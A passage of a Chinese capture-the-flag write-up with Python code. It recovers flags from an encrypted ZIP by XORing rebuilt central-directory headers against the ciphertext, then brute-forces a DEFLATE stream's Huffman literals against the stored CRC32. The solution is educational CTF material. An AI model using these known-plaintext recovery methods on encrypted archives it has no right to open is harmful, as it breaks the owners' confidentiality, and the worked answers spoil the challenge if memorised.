<span><span style="color: #D6DEEB">external_attrs </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">0x</span><span style="color: #F78C6C">1800000</span></span>
<span></span>
<span><span style="color: #D6DEEB">cdh1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> CentralDirHeader.</span><span style="color: #B2CCD6">build</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">dict</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">signature</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">CDH_SIGNATURE</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">version_made_by</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.version_needed</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">version_needed</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.version_needed</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">flags</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.flags</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">compression</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.compression</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">mod_time</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.mod_time</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">mod_date</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.mod_date</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">crc32</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.crc32</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">compressed_size</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.compressed_size</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">uncompressed_size</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.uncompressed_size</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">filename_length</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.filename_length</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">extra_length</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment_length</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">disk_number_start</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">internal_attrs</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">external_attrs</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">external_attrs</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">local_header_offset</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">filename</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh1.filename</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">extra</span><span style="color: #C792EA">=</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment</span><span style="color: #C792EA">=</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">zip_io.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">cdh1</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">cdh2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> CentralDirHeader.</span><span style="color: #B2CCD6">build</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">dict</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">signature</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">CDH_SIGNATURE</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">version_made_by</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.version_needed</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">version_needed</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.version_needed</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">flags</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.flags</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">compression</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.compression</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">mod_time</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.mod_time</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">mod_date</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.mod_date</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">crc32</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.crc32</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">compressed_size</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.compressed_size</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">uncompressed_size</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.uncompressed_size</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">filename_length</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.filename_length</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">extra_length</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment_length</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">disk_number_start</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">internal_attrs</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">external_attrs</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">external_attrs</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">local_header_offset</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">offset2</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">filename</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">lfh2.filename</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">extra</span><span style="color: #C792EA">=</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment</span><span style="color: #C792EA">=</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">zip_io.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">cdh2</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">eocdr </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> Eocdr.</span><span style="color: #B2CCD6">build</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">dict</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">signature</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">EOCDR_SIGNATURE</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">disk_number</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">disk_start</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">disk_entries</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">2</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">total_entries</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">2</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">cd_size</span><span style="color: #C792EA">=</span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">cdh1</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">+</span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">cdh2</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">cd_offset</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">cd_offset</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment_length</span><span style="color: #C792EA">=</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D7DBE0">comment</span><span style="color: #C792EA">=</span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">()</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">zip_io.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">eocdr</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">zip_io.</span><span style="color: #B2CCD6">seek</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">zip_complete </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> zip_io.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">flags_partial2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">a </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> a</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> b</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flags_encrypted</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> zip_encrypted</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> zip_complete</span><span style="color: #D6DEEB">))</span><span style="color: #D9F5DD">[</span><span style="color: #D6DEEB">cd_offset:</span><span style="color: #D9F5DD">]</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flags_partial2</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">flag2 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">search</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">br</span><span style="color: #D9F5DD">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #F78C6C">\{</span><span style="color: #5CA7E4">.</span><span style="color: #7FDBCA">+?</span><span style="color: #F78C6C">\}</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> flags_partial2</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{flag2 = }</span><span style="color: #F78C6C">\n</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<h3 id="flag-3" class="heading"><a href="#flag-3" class="heading-anchor" aria-label="章节： Flag 3" tabindex="-1"></a><span>Flag 3</span></h3>
<p>最后文件中未知的还有两段<span class="mojikumi-line-end">，</span>一段是压缩数据<span class="mojikumi-line-end">，</span>一段是超过 ZIP 文件长度的末尾<span class="mojikumi-line-end">，</span>显然只有前者是能破解的<span class="mojikumi-line-start">（</span>除非末尾的密钥能破解<span class="mojikumi">）</span><span class="mojikumi-line-end">；</span>实际上我在 <code>gen.py</code> 里往后者塞了一个假 flag<span class="mojikumi-line-end">，</span>但这对结果其实没有任何影响<span class="mojikumi-line-end">。</span></p>
<p>学习 DEFLATE 数据结构<span class="mojikumi-line-end">，</span>然后解析一下已知的开头部分<span class="mojikumi-line-end">，</span>可以发现它的动态 Huffman 树已经确定<span class="mojikumi-line-end">。</span>观察编码可以发现<span class="mojikumi-line-end">，</span>只有 6 个 literal 编码非零<span class="mojikumi-line-end">，</span>长度分别为 1<span class="mojikumi-line-end">、</span>2<span class="mojikumi-line-end">、</span>3<span class="mojikumi-line-end">、</span>4<span class="mojikumi-line-end">、</span>14<span class="mojikumi-line-end">、</span>15<span class="mojikumi-line-end">。</span>而根据 ZIP 字段中记录的长度<span class="mojikumi-line-end">，</span>这个 DEFLATE 是把 30 字节的原数据编码成了约 90 字节<span class="mojikumi-line-end">。</span>从编码后长度中减去 DEFLATE header 的长度<span class="mojikumi-line-end">，</span>再考虑到最后一个 byte 可能有 1~8 个 bit<span class="mojikumi-line-end">，</span>可以得到编码数据减去末尾 EOB 的长度可能为 440~447<span class="mojikumi-line-end">。</span>如果数据中包含编码长度为 1~4 的 literal<span class="mojikumi-line-end">，</span>编码后长度就会小于 440<span class="mojikumi-line-end">，</span>而如果采用了 distance length pair<span class="mojikumi-line-end">，</span>则会更短<span class="mojikumi-line-end">。</span>因此<span class="mojikumi-line-end">，</span>数据中只可能包含编码长度为 14<span class="mojikumi-line-end">、</span>15 的 literal<span class="mojikumi-line-end">，</span>具体来说是 3~10 个编码长度为 14 的 literal<span class="mojikumi-line-end">，</span>剩下的为编码长度为 15 的 literal<span class="mojikumi-line-end">。</span></p>
<p>于是<span class="mojikumi-line-end">，</span>数据的构成就基本确定了<span class="mojikumi-line-end">，</span>只需枚举 <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5.3</mn><mo>×</mo><msup><mn>10</mn><mn>7</mn></msup></mrow><annotation encoding="application/x-tex">5.3 \times 10^7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">5.3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">7</span></span></span></span></span></span></span></span></span></span></span></span> 种排列组合<span class="mojikumi-line-end">。</span>而 ZIP 字段中提供了 CRC32 校验和<span class="mojikumi-line-end">，</span>可以用来校验哪个排列是正确的<span class="mojikumi-line-end">。</span>后来才想到<span class="mojikumi-line-end">，</span>除了 CRC32<span class="mojikumi-line-end">，</span>还可以根据 flag 都是 ASCII 可见字符来筛选<span class="mojikumi-line-end">，</span>这样有一些别的做法<span class="mojikumi-line-end">，</span>但可能还更麻烦<span class="mojikumi-line-end">。</span></p>
<p>P.S. 感觉这题造 DEFLATE 编码以及对齐明文和 flag 的位置比做题难<span class="mojikumi-line-start">（</span>在思路已知的前提下<span class="mojikumi-line-start">（</span></p>
<p>P.P.S. 各种排列组合的 CRC32 似乎都没有冲突<span class="mojikumi-line-start">（</span>如果是随机的 32bit 则会有大量重复<span class="mojikumi">）</span><span class="mojikumi-line-end">，</span>我怀疑这是可以证明的<span class="mojikumi-line-end">，</span>但我不懂这个<span class="mojikumi-line-end">，</span>就造完数据后枚举一遍来保证唯一性了<span class="mojikumi-line-start">（</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-14"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-14--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">deflate_info </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">parse_deflate_dynamic_header</span><span style="color: #403F53">(</span><span style="color: #4876D6">data2_head</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">3</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">litlen_tree </span><span style="color: #994CC3">=</span><span style="color: #403F53"> deflate_info[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">litlen_tree</span><span style="color: #111111">&#39;</span><span style="color: #403F53">]</span></span>
<span><span style="color: #403F53">l14 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">l15 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">c14 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (</span><span style="color: #AA0982">0</span><span style="color: #403F53">, </span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">c15 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (</span><span style="color: #AA0982">0</span><span style="color: #403F53">, </span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">eob_code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (</span><span style="color: #AA0982">0</span><span style="color: #403F53">, </span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">literal codes:</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> code, sym </span><span style="color: #994CC3">in</span><span style="color: #403F53"> litlen_tree.</span><span style="color: #0C969B">items</span><span style="color: #403F53">():</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">256</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{sym}</span><span style="color: #C96765">: </span><span style="color: #4876D6">{code}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> code[</span><span style="color: #AA0982">1</span><span style="color: #403F53">] </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">14</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            l14 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym</span></span>
<span><span style="color: #403F53">            c14 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">elif</span><span style="color: #403F53"> code[</span><span style="color: #AA0982">1</span><span style="color: #403F53">] </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">15</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            l15 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym</span></span>
<span><span style="color: #403F53">            c15 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">elif</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">256</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        eob_code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code</span></span>
<span></span>
<span><span style="color: #403F53">n </span><span style="color: #994CC3">=</span><span style="color: #403F53"> lfh2.uncompressed_size</span></span>
<span><span style="color: #403F53">deflate_header_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> deflate_info[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">bits_consumed</span><span style="color: #111111">&#39;</span><span style="color: #403F53">] </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">3</span></span>
<span><span style="color: #403F53">max_total_lit_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> lfh2.compressed_size </span><span style="color: #994CC3">*</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53"> </span><span style="color: #994CC3">-</span><span style="color: #403F53"> deflate_header_len </span><span style="color: #994CC3">-</span><span style="color: #403F53"> eob_code[</span><span style="color: #AA0982">1</span><span style="color: #403F53">]</span></span>
<span><span style="color: #403F53">min_total_lit_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> max_total_lit_len </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">7</span></span>
<span><span style="color: #403F53">all_15_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">15</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> n</span></span>
<span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{min_total_lit_len = }</span><span style="color: #C96765">, </span><span style="color: #4876D6">{all_15_len = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">min_14_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> all_15_len </span><span style="color: #994CC3">-</span><span style="color: #403F53"> max_total_lit_len</span></span>
<span><span style="color: #403F53">max_14_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> all_15_len </span><span style="color: #994CC3">-</span><span style="color: #403F53"> min_total_lit_len</span></span>
<span></span>
<span><span style="color: #994CC3">for</span><span style="color: #403F53"> mask </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #0C969B">tqdm</span><span style="color: #403F53">(</span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #4876D6"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #4876D6"> n</span><span style="color: #403F53">)):</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> min_14_count </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> mask.</span><span style="color: #0C969B">bit_count</span><span style="color: #403F53">() </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> max_14_count:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">    data </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">l14 </span><span style="color: #994CC3">if</span><span style="color: #4876D6"> (mask </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #4876D6"> i) </span><span style="color: #994CC3">&amp;</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #4876D6"> </span><span style="color: #994CC3">else</span><span style="color: #4876D6"> l15 </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> i </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> range</span><span style="color: #403F53">(</span><span style="color: #4876D6">n</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #0C969B">crc32</span><span style="color: #403F53">(</span><span style="color: #4876D6">data</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> lfh2.crc32:</span></span>
<span><span style="color: #403F53">        bits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">BitWriter</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">        bits.bytes.</span><span style="color: #0C969B">extend</span><span style="color: #403F53">(</span><span style="color: #4876D6">data2_head</span><span style="color: #403F53">[</span><span style="color: #4876D6">:deflate_header_len </span><span style="color: #994CC3">//</span><span style="color: #4876D6"> </span><span style="color: #AA0982">8</span><span style="color: #403F53">])</span></span>
<span><span style="color: #403F53">        bits.bit_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> deflate_header_len </span><span style="color: #994CC3">%</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> bits.bit_count </span><span style="color: #994CC3">!=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            bits.current_byte </span><span style="color: #994CC3">=</span><span style="color: #403F53"> data2_head[deflate_header_len </span><span style="color: #994CC3">//</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53">] </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> ((</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> bits.bit_count) </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">n</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> c14 </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (mask </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #403F53"> i) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">else</span><span style="color: #403F53"> c15</span></span>
<span><span style="color: #403F53">            bits.</span><span style="color: #0C969B">write_bits</span><span style="color: #403F53">(</span><span style="color: #0C969B">*</span><span style="color: #4876D6">code</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        bits.</span><span style="color: #0C969B">write_bits</span><span style="color: #403F53">(</span><span style="color: #0C969B">*</span><span style="color: #4876D6">eob_code</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        deflated </span><span style="color: #994CC3">=</span><span style="color: #403F53"> bits.</span><span style="color: #0C969B">get_bytes</span><span style="color: #403F53">()</span></span>
